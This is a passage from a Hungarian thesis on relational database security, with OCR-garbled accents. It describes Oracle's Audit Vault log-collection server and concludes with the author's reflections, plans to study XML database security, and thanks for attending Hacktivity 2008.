auditalasi informaciokat. Ez Ggy néz ki, hogy lesz egy ,,Audit Vault” szerver és esetleg 20-30
adatbazis vagy operacios rendszerbdl szarmazo audit informacio, €s ezek a haldzaton at ebbe
a log szerverbe keriilnek. Ez biztositja ezek biztonsidgos taroldsat, monitorozasat. Példaul:
mintdk alapjan riasztasokat lehet definidlni. Az ,,Audit Vault” kimondottan egy cél-eszkoz
dobozolt szoftver arra, hogy egy nagyvallalati kornyezetben auditalasi adatok keletkezése,

monitorozasa egy biztonsagos kornyezetben térténjen.
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5. Osszegzés

A kutatomunkam soran azzal a ténnyel kellett szembesiilnom, hogy magyar nyelvii
irodalom, ami kel0 részletességgel Osszegzi az adatbazis-biztonsag témakorét, elvétve
talalhatd, pedig rendkiviil érdekes, €s kimondottan fontos témakor. Az idegen-nyelvi
anyagok, és azok feldolgozésa kiilondsen érdekessé €s izgalmassa tették a kutatdmunkamat.
Célom az volt, hogy egy atfogd képet adjak a mar meglévd biztonsagi modellekrdl €s, hogy
bemutassam, hogy a gyakorlatban milyen eszk6zdok allnak rendelkezésre, ha egy biztonsagos
rendszert szeretnénk kiépiteni. A kutatas soran a legfobb szempont az volt, hogy felhivjam a
figyelmet a biztonsag fontossdgara. Egy web-alkalmazas fejlesztése sordan rengeteg tuddssal
kell rendelkeznie a fejlesztonek amellett, hogy tisztaban van a biztonsagi lehetdségekkel és a
biztonsag sziikségességével. Ha egy olyan web-alkalmazast fejlesztiink, ami tizleti adatokkal
dolgozik, akkor kiemelkedden fontos, hogy forditsunk kelld energiat a biztonsagi politika
kidolgozaséra. Ez azért fontos, mert az {izleti titkaink, amibdl éliink, konnyedén illetéktelenek
kezébe keriilhetnek és ugye ezt senki se szeretné. A relacids adatbazis kezeld rendszerek
biztonsaganak vizsgalata soran szerzett tapasztalatokat és tudast hasznosnak tartom a jovobeni
elhelyezkedésem soran. A jovoben tervezem, hogy nativ XML adatbézis-kezel6 rendszerekkel
is megismerkedek. A relacios adatbazis-kezeld rendszerek biztonsdganak vizsgalata soran
nem keriilte el a figyelmemet a nativ XML adatbazis-kezeld rendszerek biztonsaga sem,
viszont a téma bonyolultsaga és terjedelme miatt ebbdl a diplomamunkabol a nativ XML
adatbazis-kezeld rendszerek és azok biztonsaga kimaradt, de a jovObeni esetleges kutatdsaim
soran mindenféleképpen szeretnék ebbe az iranyba elmozdulni. Itt szeretném megkdszonni a
Debreceni Egyetem Informatika Kar vezetdinek, hogy lehetdséget adtak szdmomra, hogy a
2008 szeptemberében Budapesten megrendezett ,,Hacktivity 2008 konferencidn, részt

vegyek.
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